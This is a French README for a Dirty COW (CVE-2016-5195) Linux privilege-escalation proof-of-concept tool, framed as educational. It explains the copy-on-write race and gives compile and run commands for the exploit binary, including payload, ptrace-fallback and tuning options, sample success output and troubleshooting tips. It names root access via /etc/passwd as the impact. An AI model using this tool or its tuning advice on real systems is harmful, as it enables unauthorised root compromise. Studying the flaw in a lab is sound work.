Dirty COW PoC Éducatif (CVE-2016-5195)

⚠️ Avertissement Légal

Ce code est fourni UNIQUEMENT À DES FINS ÉDUCATIVES. Toute utilisation malveillante est strictement interdite et illégale.

📖 Qu'est-ce que Dirty COW ?

Dirty COW (CVE-2016-5195) est une vulnérabilité d'élévation de privilèges dans le noyau Linux qui exploite une condition de course (race condition) dans le mécanisme de copie sur écriture (copy-on-write, COW) du noyau. Cette vulnérabilité affecte les noyaux Linux de la version 2.6.22 (sortie en 2007) jusqu'aux versions antérieures à :

• 4.8.3
• 4.7.9
• 4.4.26

Détails Techniques

La vulnérabilité se produit dans le système de gestion de la mémoire du noyau :

1. Copie sur écriture (COW) : lorsqu'un processus mappe un fichier avec MAP_PRIVATE, les modifications doivent créer une copie privée.
2. Condition de course : deux threads en compétition entre madvise(MADV_DONTNEED) et l'écriture dans /proc/self/mem.
3. Exploitation : dans des conditions de synchronisation spécifiques, les écritures peuvent contourner la protection COW et modifier le fichier original.

Impact

• Élévation de privilèges : modifier des fichiers en lecture seule appartenant à root.
• Compromission du système : possibilité d'obtenir un accès root en modifiant des fichiers système comme /etc/passwd.
• Intégrité des données : modification non autorisée de fichiers système critiques.

🛡️ Notes de Sécurité pour les Tests

⚠️ CRITIQUE : Tester UNIQUEMENT dans un environnement isolé

N'exécutez JAMAIS ceci sur des systèmes de production ou des systèmes qui ne vous appartiennent pas !

Environnement de test recommandé :

1. Machine virtuelle (VM) : utilisez VMware, VirtualBox ou KVM.
2. Conteneur : conteneur Docker avec un noyau vulnérable.
3. Laboratoire isolé : machine de test dédiée sans données importantes.
4. Prérequis du noyau : versions 2.6.22 à 4.8.2.

Pratiques de test sécurisées :

# 1. Vérifiez d'abord la version du noyau
uname -r

# 2. Créez un répertoire de test isolé
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. Testez uniquement avec des fichiers inoffensifs
./main -t /tmp/test_file -v

# 4. Surveillez les ressources système
top -p $(pgrep -f main)

🚀 Compilation et Utilisation

Prérequis

# Installez les paquets nécessaires (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# Installez les paquets nécessaires (CentOS/RHEL)
sudo yum install gcc openssl-devel

Compilation

# Compilation standard
make

# Version de débogage
make main-debug

# Compilation manuelle
gcc -o main main.c -lpthread -lssl -lcrypto

Utilisation de base

# Test simple avec paramètres par défaut
./main

# Mode verbeux avec cible personnalisée
./main -t /tmp/testfile -v

# Utilisation avancée avec plusieurs processus
./main -t /tmp/target -n 4 -r 3 -D -v

# Payload binaire depuis un fichier
./main -f payload.bin -P -D -n 2

Options de la ligne de commande

🔬 Fonctionnalités Avancées

1. Méthodes d'attaque multiples

• Méthode 1 : écriture via /proc/self/mem (par défaut)
• Méthode 2 : ptrace(PTRACE_POKETEXT) pour les systèmes restreints

2. Balayage dynamique d'offset

Scanne plusieurs offsets mémoire pour trouver la meilleure position d'écriture :

./main -D -v  # Activer le balayage dynamique d'offset

3. Conditions de course multi-processus

Lancez plusieurs processus pour des conditions de course intenses :

./main -n 4  # Utiliser 4 processus parallèles

4. Support des payloads binaires

Chargez des données binaires arbitraires depuis des fichiers :

# Créer un payload binaire
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# Utiliser le payload binaire
./main -f payload.bin -v

5. Logique de réessai automatique

Réessayez automatiquement les tentatives échouées :

./main -r 5  # Réessayer jusqu'à 5 fois

6. Vérification de l'intégrité des fichiers

Utilise le hachage SHA-256 pour vérifier les modifications des fichiers :

# Vérifier les hachages du fichier original vs modifié
./main -v  # Affiche la comparaison des hachages en mode verbeux

📊 Sortie et Journalisation

Exemple de sortie console

Dirty COW PoC Éducatif (CVE-2016-5195)
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=== INFORMATIONS SYSTÈME ===
Version du noyau : Linux 4.4.0-generic
Architecture : x86_64
Utilisateur actuel : testuser
UID/GID : 1000/1000

=== VÉRIFICATION DE LA VULNÉRABILITÉ ===
Noyau : Linux version 4.4.0-generic
[+] /proc/self/mem accessible

=== DÉBUT DU TEST ===

=== EXÉCUTION DE L'EXPLOIT ===
[+] Cible : /tmp/dirty_cow_test
[+] Longueur du payload : 32 octets
[+] Itérations : 10000000
[+] Processus : 1
[+] Méthode : /proc/self/mem
[+] Offset dynamique : désactivé
[+] Sauvegarde créée : /tmp/dirty_cow_test.backup
[+] Contenu original : contenu-original-avant-exploit
[+] Début du test de condition de course...
[+] EXPLOIT RÉUSSI à la tentative 1 !
[+] Le hachage du fichier a changé - modification confirmée !
[+] Original : a1b2c3d4e5f6...
[+] Final :    f6e5d4c3b2a1...

=== TEST RÉUSSI ===
[+] Modification du fichier terminée
[+] Objectif éducatif atteint
[+] Statistiques : 156789 écritures, 1 réussie, 2.347 sec

Format du fichier journal

L'outil crée des journaux détaillés dans exploit_log.txt :

[2024-01-15 10:30:45] Informations système - UID/GID : 1000/1000
[2024-01-15 10:30:45] Version du noyau : Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Démarrage de l'exploit - Cible : /tmp/test, Payload : 32 octets
[2024-01-15 10:30:47] EXPLOIT RÉUSSI à la tentative 1
[2024-01-15 10:30:47] Statistiques finales - Écritures : 156789, Réussies : 1, Durée : 2.347 sec

🎯 Scénarios de Test

Scénario 1 : Test de fonctionnalité de base

# Test de la fonctionnalité de base de l'exploit
./main -t /tmp/basic_test -v

Scénario 2 : Test de stress

# Test de condition de course haute intensité
./main -i 50000000 -n 4 -r 3 -D -v

Scénario 3 : Environnement restreint

# Test lorsque /proc/self/mem est bloqué
./main -P -D -v

Scénario 4 : Test de payload binaire

# Test avec des données binaires contenant des octets nuls
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 Comprendre l'Exploit

Synchronisation de la condition de course

L'exploit fonctionne en créant une compétition entre deux opérations :

1. Thread 1 : madvise(MADV_DONTNEED) – Indique au noyau de supprimer les pages mémoire
2. Thread 2 : Écriture dans /proc/self/mem – Tente d'écrire dans la mémoire mappée

Facteurs de succès

• Version du noyau : doit être vulnérable (< 4.8.3)
• Synchronisation : la condition de course doit se produire à un moment précis
• Mappage mémoire : le fichier doit être mappé avec MAP_PRIVATE
• Permissions : doit avoir un accès en lecture au fichier cible

Pourquoi ça fonctionne

Lorsque la condition de course réussit :

1. Le thread 1 supprime la page COW
2. Les écritures du thread 2 se produisent avant la création d'une nouvelle page COW
3. L'écriture va directement dans le fichier original au lieu d'une copie privée

🛠️ Dépannage

Problèmes courants

1. « Exploit échoué ou itérations insuffisantes »

• Solution : augmentez les itérations avec -i ou utilisez plusieurs processus -n

2. « Échec d'accès à /proc/self/mem »

• Solution : utilisez la méthode ptrace avec le drapeau -P

3. « Le système n'est peut-être pas vulnérable »

• Vérifiez la version du noyau : uname -r
• Assurez-vous que le noyau est antérieur à 4.8.3

4. Le système devient non réactif

• Réduisez les itérations : -i 1000000
• Utilisez moins de processus : -n 1

Réglage des performances

# Paramètres conservateurs (plus lents mais plus sûrs)
./main -i 5000000 -n 1

# Paramètres agressifs (plus rapides mais gourmands en ressources)
./main -i 50000000 -n 4 -D

# Paramètres équilibrés
./main -i 20000000 -n 2 -r 2 -D

📚 Ressources Éducatives

Informations CVE

• CVE-2016-5195 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
• Base de données NVD : https://nvd.nist.gov/vuln/detail/CVE-2016-5195

Lectures complémentaires

• Gestion de la mémoire du noyau Linux
• Mécanisme de copie sur écriture
• Vulnérabilités de conditions de course
• Techniques d'élévation de privilèges

🤝 Contribution

Il s'agit d'un outil éducatif. Les contributions doivent se concentrer sur :

• L'amélioration de la valeur éducative
• L'ajout de fonctionnalités de sécurité
• Une meilleure documentation
• La clarté du code et les commentaires

⚖️ Avertissement

Ce logiciel est fourni à des fins éducatives et de recherche uniquement. Les auteurs et contributeurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce programme. Les utilisateurs sont seuls responsables de s'assurer qu'ils disposent des autorisations appropriées avant de tester sur tout système.

En utilisant ce logiciel, vous reconnaissez que :

• Vous l'utiliserez uniquement à des fins éducatives légitimes
• Vous disposez des autorisations appropriées pour tout test effectué
• Vous comprenez les implications juridiques des tests non autorisés sur les systèmes
• Vous n'utiliserez pas cet outil à des fins malveillantes

📝 Licence

Ce projet est publié sous la licence MIT à des fins éducatives uniquement.

Souvenez-vous : un grand pouvoir implique de grandes responsabilités. Utilisez ces connaissances pour protéger et sécuriser les systèmes, non pour leur nuire.